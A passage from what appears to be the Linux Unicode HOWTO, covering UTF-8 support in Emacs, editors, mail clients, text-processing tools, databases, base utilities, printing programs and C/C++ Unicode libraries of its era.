        (setq fontset12
          (create-fontset-from-fontset-spec
            "-misc-fixed-medium-r-normal-*-12-*-*-*-*-*-fontset-standard"))
        (setq fontset13
          (create-fontset-from-fontset-spec
            "-misc-fixed-medium-r-normal-*-13-*-*-*-*-*-fontset-standard"))
        (setq fontset14
          (create-fontset-from-fontset-spec
            "-misc-fixed-medium-r-normal-*-14-*-*-*-*-*-fontset-standard"))
        (setq fontset15
          (create-fontset-from-fontset-spec
            "-misc-fixed-medium-r-normal-*-15-*-*-*-*-*-fontset-standard"))
        (setq fontset16
          (create-fontset-from-fontset-spec
            "-misc-fixed-medium-r-normal-*-16-*-*-*-*-*-fontset-standard"))
        (setq fontset18
          (create-fontset-from-fontset-spec
            "-misc-fixed-medium-r-normal-*-18-*-*-*-*-*-fontset-standard"))
       ; (set-default-font fontset15)
        ))))
to your $HOME/.emacs file. To activate any of the font sets, use the Mule menu item "Set Font/FontSet" or Shift-down-mouse-1. The Unicode coverage may of the font sets at different sizes may depend on the installed fonts; here are screen shots at various sizes of UTF-8-demo.txt ( 12, 13, 14, 15, 16, 18) and of the Mule script examples ( 12, 13, 14, 15, 16, 18). To designate a font set as the initial font set for the first frame at startup, uncomment the set-default-font line in the code snippet above.

To install the oc-unicode package, execute the command

$ emacs -batch -l oc-comp.el
and install the resulting file un-define.elc, as well as oc-unicode.el, oc-charsets.el, oc-tools.el, somewhere. Then add the lines
(setq load-path (cons "/home/user/somewhere/emacs" load-path))
(if (not (string-match "XEmacs" emacs-version))
  (progn
    (require 'oc-unicode)
    ;(setq unicode-data-path "..../UnicodeData-3.0.0.txt")
    (if (eq window-system 'x)
      (progn
        (setq fontset12
          (oc-create-fontset
            "-misc-fixed-medium-r-normal-*-12-*-*-*-*-*-fontset-standard"
            "-misc-fixed-medium-r-normal-ja-12-*-iso10646-*"))
        (setq fontset13
          (oc-create-fontset
            "-misc-fixed-medium-r-normal-*-13-*-*-*-*-*-fontset-standard"
            "-misc-fixed-medium-r-normal-ja-13-*-iso10646-*"))
        (setq fontset14
          (oc-create-fontset
            "-misc-fixed-medium-r-normal-*-14-*-*-*-*-*-fontset-standard"
            "-misc-fixed-medium-r-normal-ja-14-*-iso10646-*"))
        (setq fontset15
          (oc-create-fontset
            "-misc-fixed-medium-r-normal-*-15-*-*-*-*-*-fontset-standard"
            "-misc-fixed-medium-r-normal-ja-15-*-iso10646-*"))
        (setq fontset16
          (oc-create-fontset
            "-misc-fixed-medium-r-normal-*-16-*-*-*-*-*-fontset-standard"
            "-misc-fixed-medium-r-normal-ja-16-*-iso10646-*"))
        (setq fontset18
          (oc-create-fontset
            "-misc-fixed-medium-r-normal-*-18-*-*-*-*-*-fontset-standard"
            "-misc-fixed-medium-r-normal-ja-18-*-iso10646-*"))
       ; (set-default-font fontset15)
        ))))
to your $HOME/.emacs file. You can choose your appropriate font set as with the emacs-utf package.

In order to open an UTF-8 encoded file, you will type

M-x universal-coding-system-argument unicode-utf8 RET
M-x find-file filename RET
or
C-x RET c unicode-utf8 RET
C-x C-f filename RET
(or utf-8 instead of unicode-utf8, if you prefer oc-unicode/Mule-UCS).

In order to start a shell buffer with UTF-8 I/O, you will type

M-x universal-coding-system-argument utf-8 RET
M-x shell RET
(This works with oc-unicode/Mule-UCS only.)

There is a newer version Mule-UCS-0.81. Unfortunately you need to rebuild emacs from source in order to use it.

Note that all this works with Emacs 20 in windowing mode only, not in terminal mode. None of the mentioned packages works in Emacs 21, as of this writing.

Richard Stallman plans to add integrated UTF-8 support to Emacs in the long term, and so does the XEmacs developers group.

xemacs

(This section is written by Gilbert Baumann.)

Here is how to teach XEmacs (20.4 configured with MULE) the UTF-8 encoding. Unfortunately you need its sources to be able to patch it.

First you need these files provided by Tomohiko Morioka:

http://turnbull.sk.tsukuba.ac.jp/Tools/XEmacs/xemacs-21.0-b55-emc-b55-ucs.diff and http://turnbull.sk.tsukuba.ac.jp/Tools/XEmacs/xemacs-ucs-conv-0.1.tar.gz

The .diff is a diff against the C sources. The tar ball is elisp code, which provides lots of code tables to map to and from Unicode. As the name of the diff file suggests it is against XEmacs-21; I needed to help `patch' a bit. The most notable difference to my XEmacs-20.4 sources is that file-coding.[ch] was called mule-coding.[ch].

For those unfamilar with the XEmacs-MULE stuff (as I am) a quick guide:

What we call an encoding is called by MULE a `coding-system'. The most important commands are:

M-x set-file-coding-system
M-x set-buffer-process-coding-system   [comint buffers]

and the variable `file-coding-system-alist', which guides `find-file' to guess the encoding used. After stuff was running, the very first thing I did was this.

This code looks into the special mode line introduced by -*- somewhere in the first 600 bytes of the file about to opened; if now there is a field "Encoding: xyz;" and the xyz encoding ("coding system" in Emacs speak) exists, choose that. So now you could do e.g.

;;; -*- Mode: Lisp; Syntax: Common-Lisp; Package: CLEX; Encoding: utf-8; -*-

and XEmacs goes into utf-8 mode here.

Atfer everything was running I defined \u03BB (greek lambda) as a macro like:

(defmacro \u03BB (x) `(lambda .,x))

nedit

xedit

With XFree86-4.0.1, xedit is able to edit UTF-8 files if you set the locale accordingly (see above), and add the line "Xedit*international: true" to your $HOME/.Xdefaults file.

axe

As of version 6.1.2, aXe supports only 8-bit locales. If you add the line "Axe*international: true" to your $HOME/.Xdefaults file, it will simply dump core.

pico

As of version 4.30, pine cannot be reasonably used to view or edit UTF-8 files. In UTF-8 enabled xterm, it has severe redraw problems.

mined98

mined98 is a small text editor by Michiel Huisjes, Achim Müller and Thomas Wolff. http://www.inf.fu-berlin.de/~wolff/mined98.tar.gz It lets you edit UTF-8 or 8-bit encoded files, in an UTF-8 or 8-bit xterm. It also has powerful capabilities for entering Unicode characters.

mined lets you edit both 8-bit encoded and UTF-8 encoded files. By default it uses an autodetection heuristic. If you don't want to rely on heuristics, pass the command-line option -u when editing an UTF-8 file, or +u when editing an 8-bit encoded file. You can change the interpretation at any time from within the editor: It displays the encoding ("L:h" for 8-bit, "U:h" for UTF-8) in the menu line. Click on the first of these characters to change it.

mined knows about double-width and combining characters and displays them correctly. It also has a special display mode for combining characters.

mined also has a scrollbar and very nice pull-down menus. Alas, the "Home", "End", "Delete" keys do not work.

qemacs

qemacs 0.2 is a small text editor by Fabrice Bellard. http://www-stud.enst.fr/~bellard/qemacs/ with Emacs keybindings. It runs in an UTF-8 console or xterm, and can edit both 8-bit encoded and UTF-8 encoded files. It still has a few rough edges, but further development is underway.

4.5 Mailers

MIME: RFC 2279 defines UTF-8 as a MIME charset, which can be transported under the 8bit, quoted-printable and base64 encodings. The older MIME UTF-7 proposal (RFC 2152) is considered to be deprecated and should not be used any further.

Mail clients released after January 1, 1999, should be capable of sending and displaying UTF-8 encoded mails, otherwise they are considered deficient. But these mails have to carry the MIME labels

Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Simply piping an UTF-8 file into "mail" without caring about the MIME labels will not work.

Mail client implementors should take a look at http://www.imc.org/imc-intl/ and http://www.imc.org/mail-i18n.html.

Now about the individual mail clients (or "mail user agents"):

pine

The situation for an unpatched pine version 4.30 is as follows.

Pine does not do character set conversions. But it allows you to view UTF-8 mails in an UTF-8 text window (Linux console or xterm).

Normally, Pine will warn about different character sets each time you view an UTF-8 encoded mail. To get rid of this warning, choose S (setup), then C (config), then change the value of "character-set" to UTF-8. This option will not do anything, except to reduce the warnings, as Pine has no built-in knowledge of UTF-8.

Also note that Pine's notion of Unicode characters is pretty limited: It will display Latin and Greek characters, but not other kinds of Unicode characters.

A patch by Robert Brady <robert@suse.co.uk> http://www.ents.susu.soton.ac.uk/~robert/pine-utf8-0.1.diff adds UTF-8 support to Pine. With this patch, it decodes and prints headers and bodies properly. The patch depends on the GNOME libunicode http://cvs.gnome.org/lxr/source/libunicode/.

However, alignment remains broken in many places; replying to a mail does not cause the character set to be converted as appropriate; and the editor, pico, cannot deal with multibyte characters.

kmail

kmail (as of KDE 1.0) does not support UTF-8 mails at all.

Netscape Communicator

Netscape Communicator's Messenger can send and display mails in UTF-8 encoding, but it needs a little bit of manual user intervention.

To send an UTF-8 encoded mail: After opening the "Compose" window, but before starting to compose the message, select from the menu "View -> Character Set -> Unicode (UTF-8)". Then compose the message and send it.

When you receive an UTF-8 encoded mail, Netscape unfortunately does not display it in UTF-8 right away, and does not even give a visual clue that the mail was encoded in UTF-8. You have to manually select from the menu "View -> Character Set -> Unicode (UTF-8)".

For displaying UTF-8 mails, Netscape uses different fonts. You can adjust your font settings in the "Edit -> Preferences -> Fonts" dialog; choose the "Unicode" font category.

emacs (rmail, vm)

mutt

mutt-1.2.x, as available from http://www.mutt.org/, has only rudimentary support for UTF-8: it can convert from UTF-8 into an 8-bit display charset. The mutt-1.3.x development branch also supports UTF-8 as the display charset, so you can run Mutt in an UTF-8 xterm, and has thorough support for MIME and charset conversion (relying on iconv).

exmh

exmh 2.1.2 with Tk 8.4a1 can recognize and correctly display UTF-8 mails (without CJK characters) if you add the following lines to your $HOME/.Xdefaults file.

!
! Exmh
!
exmh.mimeUCharsets:                     utf-8
exmh.mime_utf-8_registry:               iso10646
exmh.mime_utf-8_encoding:               1
exmh.mime_utf-8_plain_families:         fixed
exmh.mime_utf-8_fixed_families:         fixed
exmh.mime_utf-8_proportional_families:  fixed
exmh.mime_utf-8_title_families:         fixed

4.6 Text processing

groff

groff 1.16.1, the GNU implementation of the traditional Unix text processing system troff/nroff, can output UTF-8 formatted text. Simply use `groff -Tutf8' instead of `groff -Tlatin1' or `groff -Tascii'.

TeX

The teTeX 0.9 (and newer) distribution contains an Unicode adaptation of TeX, called Omega ( http://www.gutenberg.eu.org/omega/, ftp://ftp.ens.fr/pub/tex/yannis/omega). Together with the unicode.tex file contained in utf8-tex-0.1.tar.gz it enables you to use UTF-8 encoded sources as input for TeX. A thousand of Unicode characters are currently supported.

All that changes is that you run `omega' (instead of `tex') or `lambda' (instead of `latex'), and insert the following lines at the head of your source input.

\ocp\TexUTF=inutf8
\InputTranslation currentfile \TexUTF

\input unicode

Other maybe related links: http://www.dante.de/projekte/nts/NTS-FAQ.html, ftp://ftp.dante.de/pub/tex/language/chinese/CJK/.

4.7 Databases

PostgreSQL

PostgreSQL 6.4 or newer can be built with the configuration option --with-mb=UNICODE.

Interbase

Borland/Inprise's Interbase 6.0 can store string fields in UTF-8 format if the option "CHARACTER SET UNICODE_FSS" is given.

4.8 Other text-mode applications

less

With http://www.flash.net/~marknu/less/less-358.tar.gz you can browse UTF-8 encoded text files in an UTF-8 xterm or console. Make sure that the environment variable LESSCHARSET is not set (or is set to utf-8). If you also have a LESSKEY environment variable set, also make sure that the file it points to does not define LESSCHARSET. If necessary, regenerate this file using the `lesskey' command, or unset the LESSKEY environment variable.

lv

lv-4.49.3 by Tomio Narita http://www.ff.iij4u.or.jp/~nrt/lv/ is a file viewer with builtin character set converters. To view UTF-8 files in an UTF-8 console, use "lv -Au8". But it can also be used to view files in other CJK encodings in an UTF-8 console.

There is a small glitch: lv turns off xterm's cursor and doesn't turn it on again.

expand

Get the GNU textutils-2.0 and apply the patch textutils-2.0.diff, then configure, add "#define HAVE_FGETWC 1", "#define HAVE_FPUTWC 1" to config.h. Then rebuild.

col, colcrt, colrm, column, rev, ul

Get the util-linux-2.9y package, configure it, then define ENABLE_WIDECHAR in defines.h, change the "#if 0" to "#if 1" in lib/widechar.h. In text-utils/Makefile, modify CFLAGS and LDFLAGS so that they include the directories where libutf8 is installed. Then rebuild.

figlet

figlet 2.2 has an option for UTF-8 input: "figlet -C utf8"

Base utilities

The Li18nux list of commands and utilities that ought to be made interoperable with UTF-8 is as follows. Useful information needs to get added here; I just didn't get around it yet :-)

As of glibc-2.2, regular expressions only work for 8-bit characters. In an UTF-8 locale, regular expressions that contain non-ASCII characters or that expect to match a single multibyte character with "." do not work. This affects all commands and utilities listed below.

alias

No info available yet.

ar

No info available yet.

arch

No info available yet.

arp

No info available yet.

at

As of at-3.1.8: The two uses of isalnum in at.c are invalid and should be replaced with a use of quotearg.c or an exclude list of the (fixed) list of shell metacharacters. The two uses of %8s in at.c and atd.c are invalid and should become arbitrary length.

awk

No info available yet.

basename

As of sh-utils-2.0i: OK.

batch

No info available yet.

bc

No info available yet.

bg

No info available yet.

bunzip2

No info available yet.

bzip2

No info available yet.

bzip2recover

No info available yet.

cal

No info available yet.

cat

No info available yet.

cd

No info available yet.

cflow

No info available yet.

chgrp

As of fileutils-4.0u: OK.

chmod

As of fileutils-4.0u: OK.

chown

As of fileutils-4.0u: OK.

chroot

As of sh-utils-2.0i: OK.

cksum

As of textutils-2.0e: OK.

clear

No info available yet.

cmp

No info available yet.

col

No info available yet.

comm

No info available yet.

command

No info available yet.

compress

No info available yet.

cp

As of fileutils-4.0u: OK.

cpio

No info available yet.

crontab

No info available yet.

csplit

No info available yet.

ctags

No info available yet.

cut

No info available yet.

date

As of sh-utils-2.0i: OK.

dd

As of fileutils-4.0u: The conv=lcase, conv=ucase options don't work correctly.

df

As of fileutils-4.0u: OK.

diff

As of diffutils-2.7.2: the --side-by-side mode therefore doesn't compute column width correctly.

diff3

No info available yet.

dirname

As of sh-utils-2.0i: OK.

domainname

No info available yet.

du

As of fileutils-4.0u: OK.

echo

As of sh-utils-2.0i: OK.

ed

No info available yet.

egrep

No info available yet.

env

As of sh-utils-2.0i: OK.

ex

No info available yet.

expand

No info available yet.

expr

As of sh-utils-2.0i: The operators "match", "substr", "index", "length" don't work correctly.

false

As of sh-utils-2.0i: OK.

fc

No info available yet.

fg

No info available yet.

fgrep

No info available yet.

file

No info available yet.

find

As of findutils-4.1.6: The "-iregex" does not work correctly; this needs a fix in function find/parser.c:insert_regex.

fold

No info available yet.

ftp[BSD]

No info available yet.

fuser

No info available yet.

gencat

No info available yet.

getconf

No info available yet.

getopts

No info available yet.

gettext

No info available yet.

grep

No info available yet.

gunzip

No info available yet.

gzip

gzip-1.3 is UTF-8 capable, but it uses only English messages in ASCII charset. Proper internationalization would require: Use gettext. Call setlocale. In function check_ofname (file gzip.c), use the function rpmatch from GNU text/sh/fileutils instead of asking for "y" or "n". The use of strlen in gzip.c:852 is wrong, needs to use the function mbswidth.

hash

No info available yet.

head

No info available yet.

hostname

As of sh-utils-2.0i: OK.

iconv

No info available yet.

id

As of sh-utils-2.0i: OK.

ifconfig

No info available yet.

imake

No info available yet.

ipcrm

No info available yet.

ipcs

No info available yet.

jobs

No info available yet.

join

No info available yet.

kill

No info available yet.

killall

No info available yet.

ldd

No info available yet.

less

No complete info available yet.

lex

No info available yet.

ln

As of fileutils-4.0u: OK.

locale

As of glibc-2.2: OK.

localedef

As of glibc-2.2: OK.

logger

No info available yet.

logname

As of sh-utils-2.0i: OK.

lp

No info available yet.

lpc[BSD]

No info available yet.

lpq[BSD]

No info available yet.

lpr[BSD]

No info available yet.

lprm[BSD]

No info available yet.

lpstat(LEGACY)

No info available yet.

ls

As of fileutils-4.0y: OK.

m4

No info available yet.

mailx

No info available yet.

make

No info available yet.

man

No info available yet.

mesg

No info available yet.

mkdir

As of fileutils-4.0u: OK.

mkfifo

As of fileutils-4.0u: OK.

mkfs

No info available yet.

mkswap

No info available yet.

more

No info available yet.

mount

No info available yet.

msgfmt

No info available yet.

msgmerge

No info available yet.

mv

As of fileutils-4.0u: OK.

netstat

No info available yet.

newgrp

No info available yet.

nice

As of sh-utils-2.0i: OK.

nl

No info available yet.

nohup

As of sh-utils-2.0i: OK.

nslookup

No info available yet.

nm

No info available yet.

od

No info available yet.

passwd[BSD]

No info available yet.

paste

No info available yet.

patch

No info available yet.

pathchk

As of sh-utils-2.0i: OK.

ping

No info available yet.

pr

No info available yet.

printf

As of sh-utils-2.0i: OK.

ps

No info available yet.

pwd

As of sh-utils-2.0i: OK.

read

No info available yet.

reboot

No info available yet.

renice

No info available yet.

rm

As of fileutils-4.0u: OK.

rmdir

As of fileutils-4.0u: OK.

sed

No info available yet.

shar[BSD]

No info available yet.

shutdown

No info available yet.

sleep

As of sh-utils-2.0i: OK.

sort

No info available yet.

split

No info available yet.

strings

No info available yet.

strip

No info available yet.

stty

As of sh-utils-2.0.11: OK.

su[BSD]

No info available yet.

sum

As of textutils-2.0e: OK.

tail

No info available yet.

talk

No info available yet.

tar

As of tar-1.13.17: OK, if user and group names are always ASCII.

tclsh

No info available yet.

tee

As of sh-utils-2.0i: OK.

telnet

No info available yet.

test

As of sh-utils-2.0i: OK.

time

No info available yet.

touch

As of fileutils-4.0u: OK.

tput

No info available yet.

tr

No info available yet.

true

As of sh-utils-2.0i: OK.

tsort

No info available yet.

tty

As of sh-utils-2.0i: OK.

type

No info available yet.

ulimit

No info available yet.

umask

No info available yet.

umount

No info available yet.

unalias

No info available yet.

uname

As of sh-utils-2.0i: OK.

uncompress

No info available yet.

unexpand

No info available yet.

uniq

No info available yet.

uudecode

No info available yet.

uuencode

No info available yet.

vi

No info available yet.

wait

No info available yet.

wc

As of textutils-2.0.8: OK.

who

As of sh-utils-2.0i: OK.

wish

No info available yet.

write

No info available yet.

xargs

As of findutils-4.1.5: The program uses strstr; a patch has been submitted to the maintainer.

xgettext

No info available yet.

yacc

No info available yet.

zcat

No info available yet.

4.9 Other X11 applications

Owen Taylor is currently developing a library for rendering multilingual text, called pango. http://www.labs.redhat.com/~otaylor/pango/, http://www.pango.org/.


The Unicode HOWTO: Printing

 Next Previous Contents

5. Printing

Since Postscript itself does not support Unicode fonts, the burden of Unicode support in printing is on the program creating the Postscript document, not on the Postscript renderer.

The existing Postscript fonts I've seen - .pfa/.pfb/.afm/.pfm/.gsf - support only a small range of glyphs and are not Unicode fonts.

5.1 Printing using TrueType fonts

Both the uniprint and wprint programs produce good printed output for Unicode plain text. They require a TrueType font; see section "TrueType fonts" above. The Bitstream Cyberbit gives good results.

uniprint

The "uniprint" program contained in the yudit package can convert a text file to Postscript. For uniprint to find the Cyberbit font, symlink it to /usr/local/share/yudit/data/cyberbit.ttf.

wprint

The "wprint" (WorldPrint) program by Eduardo Trapani http://ttt.esperanto.org.uy/programoj/angle/wprint.html postprocesses Postscript output produced by Netscape Communicator or Mozilla from HTML pages or plain text files.

The output is nearly perfect; only in Cyrillic paragraphs the line breaking is incorrect: the lines are only about half as wide as they should be.

Comparison

For plain text, uniprint has a better overall layout. On the other hand, only wprint gets Thai output correct.

5.2 Printing using fixed-size fonts

Generally, printing using fixed-size fonts does not give an as professional output as using TrueType fonts.

txtbdf2ps

The txtbdf2ps 0.7 program by Serge Winitzki http://members.linuxstart.com/~winitzki/txtbdf2ps.html converts a plain text file to Postscript, by use of a BDF font. Installation:

# install -m 777 txtbdf2ps-dev.txt /usr/local/bin/txtbdf2ps
Example with a proportional font:
$ txtbdf2ps -BDF=cyberbit.bdf -UTF-8 -nowrap < input.txt > output.ps
Example with a fixed-width font:
$ txtbdf2ps -BDF=unifont.bdf -UTF-8 -nowrap < input.txt > output.ps

Note: txtbdf2ps does not support combining characters and bidi.

5.3 The classical approach

Another way to print with TrueType fonts is to convert the TrueType font to a Postscript font using the ttf2pt1 utility ( http://www.netspace.net.au/~mheath/ttf2pt1/, http://quadrant.netspace.net.au/ttf2pt1/, http://ttf2pt1.sourceforge.net/). Details can be found in Julius Chroboczek's "Printing with TrueType fonts in Unix" writeup, http://www.dcs.ed.ac.uk/home/jec/programs/xfsft/printing.html.

TeX, Omega

TODO: CJK, metafont, omega, dvips, odvips, utf8-tex-0.1

DocBook

TODO: db2ps, jadetex

groff -Tps

"groff -Tps" produces Postscript output. Its Postscript output driver supports only a very limited number of Unicode characters (only what Postscript supports by itself).

5.4 No luck with...

Netscape's "Print..."

As of version 4.72, Netscape Communicator cannot correctly print HTML pages in UTF-8 encoding. You really have to use wprint.

Mozilla's "Print..."

As of version M16, printing of HTML pages is apparently not implemented.

html2ps

As of version 1.0b1, the html2ps HTML to Postscript converter does not support UTF-8 encoded HTML pages and has no special treatment of fonts: the generated Postscript uses the standard Postscript fonts.

a2ps

As of version 4.12, a2ps doesn't support printing UTF-8 encoded text.

enscript

As of version 1.6.1, enscript doesn't support printing UTF-8 encoded text. By default, it uses only the standard Postscript fonts, but it can also include a custom Postscript font in the output.


The Unicode HOWTO: Making your programs Unicode aware

 Next Previous Contents

6. Making your programs Unicode aware

6.1 C/C++

The C `char' type is 8-bit and will stay 8-bit because it denotes the smallest addressable data unit. Various facilities are available:

For normal text handling

The ISO/ANSI C standard contains, in an amendment which was added in 1995, a "wide character" type `wchar_t', a set of functions like those found in <string.h> and <ctype.h> (declared in <wchar.h> and <wctype.h>, respectively), and a set of conversion functions between `char *' and `wchar_t *' (declared in <stdlib.h>).

Good references for this API are

  • the GNU libc-2.1 manual, chapters 4 "Character Handling" and 6 "Character Set Handling",
  • the manual pages man-mbswcs.tar.gz, now contained in ftp://ftp.win.tue.nl/pub/linux-local/manpages/man-pages-1.29.tar.gz,
  • the OpenGroup's introduction http://www.unix-systems.org/version2/whatsnew/login_mse.html,
  • the OpenGroup's Single Unix specification http://www.UNIX-systems.org/online.html,
  • the ISO/IEC 9899:1999 (ISO C 99) standard. The latest draft before it was adopted is called n2794. You find it at ftp://ftp.csn.net/DMK/sc22wg14/review/ or http://java-tutor.com/docs/c/.
  • Clive Feather's introduction http://www.lysator.liu.se/c/na1.html,
  • the Dinkumware C library reference http://www.dinkumware.com/htm_cl/.

Advantages of using this API:

  • It's a vendor independent standard.
  • The functions do the right thing, depending on the user's locale. All a program needs to call is setlocale(LC_ALL,"");.

Drawbacks of this API:

  • Some of the functions are not multithread-safe, because they keep a hidden internal state between function calls.
  • There is no first-class locale datatype. Therefore this API cannot reasonably be used for anything that needs more than one locale or character set at the same time.
  • The OS support for this API is not good on most OSes.

Portability notes

A `wchar_t' may or may not be encoded in Unicode; this is platform and sometimes also locale dependent. A multibyte sequence `char *' may or may not be encoded in UTF-8; this is platform and sometimes also locale dependent.

In detail, here is what the Single Unix specification says about the `wchar_t' type: All wide-character codes in a given process consist of an equal number of bits. This is in contrast to characters, which can consist of a variable number of bytes. The byte or byte sequence that represents a character can also be represented as a wide-character code. Wide-character codes thus provide a uniform size for manipulating text data. A wide-character code having all bits zero is the null wide-character code, and terminates wide-character strings. The wide-character value for each member of the Portable Character Set (i.e. ASCII) will equal its value when used as the lone character in an integer character constant. Wide-character codes for other characters are locale- and implementation-dependent. State shift bytes do not have a wide-character code representation.

One particular consequence is that in portable programs you shouldn't use non-ASCII characters in string literals. That means, even though you know the Unicode double quotation marks have the codes U+201C and U+201D, you shouldn't write a string literal L"\u201cHello\u201d, he said" or "\xe2\x80\x9cHello\xe2\x80\x9d, he said" in C programs. Instead, use GNU gettext, write it as gettext("'Hello', he said"), and create a message database en.po which translates "'Hello', he said" to "\u201cHello\u201d, he said".

Here is a survey of the portability of the ISO/ANSI C facilities on various Unix flavours.

GNU glibc-2.2.x

  • <wchar.h> and <wctype.h> exist.
  • Has wcs/mbs functions, fgetwc/fputwc/wprintf, everything.
  • Has five UTF-8 locales.
  • mbrtowc works.
GNU glibc-2.0.x, glibc-2.1.x

  • <wchar.h> and <wctype.h> exist.
  • Has wcs/mbs functions, but no fgetwc/fputwc/wprintf.
  • No UTF-8 locale.
  • mbrtowc returns EILSEQ for bytes >= 0x80.
AIX 4.3

  • <wchar.h> and <wctype.h> exist.
  • Has wcs/mbs functions, fgetwc/fputwc/wprintf, everything.
  • Has many UTF-8 locales, one for every country.
  • Needs -D_XOPEN_SOURCE=500 in order to define mbstate_t.
  • mbrtowc works.
Solaris 2.7

  • <wchar.h> and <wctype.h> exist.
  • Has wcs/mbs functions, fgetwc/fputwc/wprintf, everything.
  • Has the following UTF-8 locales: en_US.UTF-8, de.UTF-8, es.UTF-8, fr.UTF-8, it.UTF-8, sv.UTF-8.
  • mbrtowc returns -1/EILSEQ (instead of -2) for bytes >= 0x80.
OSF/1 4.0d

  • <wchar.h> and <wctype.h> exist.
  • Has wcs/mbs functions, fgetwc/fputwc/wprintf, everything.
  • Has an add-on universal.utf8@ucs4 locale, see "man 5 unicode".
  • mbrtowc does not know about UTF-8.
Irix 6.5

  • <wchar.h> and <wctype.h> exist.
  • Has wcs/mbs functions and fgetwc/fputwc, but not wprintf.
  • Has no multibyte locales.
  • Has only a dummy definition for mbstate_t.
  • Doesn't have mbrtowc.
HP-UX 11.00

  • <wchar.h> exists, <wctype.h> does not.
  • Has wcs/mbs functions and fgetwc/fputwc, but not wprintf.
  • Has a C.utf8 locale.
  • Doesn't have mbstate_t.
  • Doesn't have mbrtowc.

As a consequence, I recommend to use the restartable and multithread-safe wcsr/mbsr functions, forget about those systems which don't have them (Irix, HP-UX, AIX), and use the UTF-8 locale plug-in libutf8_plug.so (see below) on those systems which permit you to compile programs which use these wcsr/mbsr functions (Linux, Solaris, OSF/1).

A similar advice, given by Sun in http://www.sun.com/software/white-papers/wp-unicode/, section "Internationalized Applications with Unicode", is:

To properly internationalize an application, use the following guidelines:

  1. Avoid direct access with Unicode. This is a task of the platform's internationalization framework.
  2. Use the POSIX model for multibyte and wide-character interfaces.
  3. Only call the APIs that the internationalization framework provides for language and cultural-specific operations.
  4. Remain code-set independent.

If, for some reason, in some piece of code, you really have to assume that `wchar_t' is Unicode (for example, if you want to do special treatment of some Unicode characters), you should make that piece of code conditional upon the result of is_locale_utf8(). Otherwise you will mess up your program's behaviour in different locales or other platforms. The function is_locale_utf8 is declared in utf8locale.h and defined in utf8locale.c.

The libutf8 library

A portable implementation of the ISO/ANSI C API, which supports 8-bit locales and UTF-8 locales, can be found in libutf8-0.7.3.tar.gz.

Advantages:

  • Unicode UTF-8 support now, portably, even on OSes whose multibyte character support does not work or which don't have multibyte/wide character support at all.
  • The same binary works in all OS supported 8-bit locales and in UTF-8 locales.
  • When an OS vendor adds proper multibyte character support, you can take advantage of it by simply recompiling without -DHAVE_LIBUTF8 compiler option.

The Plan9 way

The Plan9 operating system, a variant of Unix, uses UTF-8 as character encoding in all applications. Its wide character type is called `Rune', not `wchar_t'. Parts of its libraries, written by Rob Pike and Howard Trickey, are available at ftp://ftp.cdrom.com/pub/netlib/research/9libs/9libs-1.0.tar.gz. Another similar library, written by Alistair G. Crooks, is ftp://ftp.cdrom.com/pub/NetBSD/packages/distfiles/libutf-2.10.tar.gz. In particular, each of these libraries contains an UTF-8 aware regular expression matcher.

Drawback of this API:

  • UTF-8 is compiled in, not optional. Programs compiled in this universe lose support for the 8-bit encodings which are still frequently used in Europe.

For graphical user interface

The Qt-2.0 library http://www.troll.no/ contains a fully-Unicode QString class. You can use the member functions QString::utf8 and QString::fromUtf8 to convert to/from UTF-8 encoded text. The QString::ascii and QString::latin1 member functions should not be used any more.

For advanced text handling

The previously mentioned libraries implement Unicode aware versions of the ASCII concepts. Here are libraries which deal with Unicode concepts, such as titlecase (a third letter case, different from uppercase and lowercase), distinction between punctuation and symbols, canonical decomposition, combining classes, canonical ordering and the like.

ucdata-2.4

The ucdata library by Mark Leisher http://crl.nmsu.edu/~mleisher/ucdata.html deals with character properties, case conversion, decomposition, combining classes. The companion package ure-0.5 http://crl.nmsu.edu/~mleisher/ure-0.5.tar.gz is a Unicode regular expression matcher.

ustring

The ustring C++ library by Rodrigo Reyes http://ustring.charabia.net/ deals with character properties, case conversion, decomposition, combining classes, and includes a Unicode regular expression matcher.

ICU

International Components for Unicode http://oss.software.ibm.com/icu/. IBM's very comprehensive internationalization library featuring Unicode strings, resource bundles, number formatters, date/time formatters, message formatters, collation and more. Lots of supported locales. Portable to Unix and Win32, but compiles out of the box only on Linux libc6, not libc5.

libunicode

The GNOME libunicode library http://cvs.gnome.org/lxr/source/libunicode/ by Tom Tromey and others. It covers character set conversion, character properties, decomposition.

For conversion

Two kinds of conversion libraries, which support UTF-8 and a large number of 8-bit character sets, are available:

iconv

The iconv implementation by Ulrich Drepper, contained in the GNU glibc-2.2. ftp://ftp.gnu.org/pub/gnu/glibc/glibc-2.2.tar.gz. The iconv manpages are now contained in ftp://ftp.win.tue.nl/pub/linux-local/manpages/man-pages-1.29.tar.gz.

The portable iconv implementation by Bruno Haible. ftp://ftp.ilog.fr/pub/Users/haible/gnu/libiconv-1.5.1.tar.gz

The portable iconv implementation by Konstantin Chuguev. <joy@urc.ac.ru> ftp://ftp.urc.ac.ru/pub/local/OS/Unix/converters/iconv-0.4.tar.gz

Advantages:

  • iconv is POSIX standardized, programs using iconv to convert from/to UTF-8 will also run under Solaris. However, the names for the character sets differ between platforms. For example, "EUC-JP" under glibc is "eucJP" under HP-UX. (The official IANA name for this character set is "EUC-JP", so it's clearly a HP-UX deficiency.)
  • On glibc-2.1 systems, no additional library is needed. On other systems, one of the two other iconv implementations can be used.

librecode

librecode by François Pinard ftp://ftp.gnu.org/pub/gnu/recode/recode-3.6.tar.gz.

Advantages:

  • Support for transliteration, i.e. conversion of non-ASCII characters to sequences of ASCII characters in order to preserve readability by humans, even when a lossless transformation is impossible.

Drawbacks:

  • Non-standard API.
  • Slow initialization.

ICU

International Components for Unicode 1.7 http://oss.software.ibm.com/icu/. IBM's internationalization library also has conversion facilities, declared in `ucnv.h'.

Advantages:

  • Comprehensive set of supported encodings.

Drawbacks:

  • Non-standard API.

Other approaches

libutf-8

libutf-8 by G. Adam Stanislav <adam@whizkidtech.net> contains a few functions for on-the-fly conversion from/to UTF-8 encoded `FILE*' streams. http://www.whizkidtech.net/i18n/libutf-8-1.0.tar.gz

Advantages:

  • Very small.

Drawbacks:

  • Non-standard API.
  • UTF-8 is compiled in, not optional. Programs compiled with this library lose support for the 8-bit encodings which are still frequently used in Europe.
  • Installation is nontrivial: Makefile needs tweaking, not autoconfiguring.

6.2 Java

Java has Unicode support built into the language. The type `char' denotes a Unicode character, and the `java.lang.String' class denotes a string built up from Unicode characters.

